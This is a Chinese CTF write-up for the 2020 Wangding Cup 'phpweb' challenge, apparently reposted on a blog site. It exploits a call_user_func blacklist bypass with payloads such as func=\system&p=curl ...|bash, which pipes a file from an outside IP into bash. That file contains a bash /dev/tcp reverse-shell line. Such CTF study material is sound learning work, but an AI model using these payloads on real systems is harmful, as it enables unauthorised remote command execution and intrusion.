欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程语言 > php >内容正文

php

[网鼎杯 2020 朱雀组]phpweb-反弹shell

发布时间:2024/1/1 php 45 豆豆
生活随笔 收集整理的这篇文章主要介绍了 [网鼎杯 2020 朱雀组]phpweb-反弹shell 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

[网鼎杯 2020 朱雀组]phpweb

通过反弹shell获取flag

打开链接,显示一个不断刷新的页面,通过burp抓包查看

通过对页面源代码的分析,发现在本页面中,通过post传入index.php中两个参数,通过对参数的修改,发现用到了call_user_func()函数

故猜测本题通过func传入php函数名,通过p参数传入函数值,尝试读取index.php文件内容

利用

func=file_get_contents&p=index.php func=readfile&p=index.php

读取到index.php文件内容,对代码进行分析

$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter","array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);//将传入的两个参数,赋给call_user_func函数,作为参数执行$a= gettype($result);//判断返回类型,若为字符串就输出对应的结果if ($a == "string") {return $result;} else {return "";}}class Test {//构造反序列化时,可以利用这个类var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);//func值不为空,即调用gettime函数}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"]; //接收get或post传入的值if ($func != null) { //判断非空$func = strtolower($func); //转换成小写if (!in_array($func,$disable_fun)) { //过滤掉被禁用的函数之后执行函数gettimeecho gettime($func, $p);}else {die("Hacker...");}}

可以通过反序列化搭配命令执行求解,也可以只通过命令执行求解,但是重点介绍本题通过反弹shell的做法

在攻击机中,新建一个能反弹shell的命令文件(1.txt),里面写入命令:bash -i >& /dev/tcp/ip/port 0>&1,ip是服务器ip,port为2002

本地curl测试:


同理可以构造命令进行反弹shell:

func=\system&p=curl http://101.43.119.212/YKingH/test/1.txt|bash

连接成功

总结

以上是生活随笔为你收集整理的[网鼎杯 2020 朱雀组]phpweb-反弹shell的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。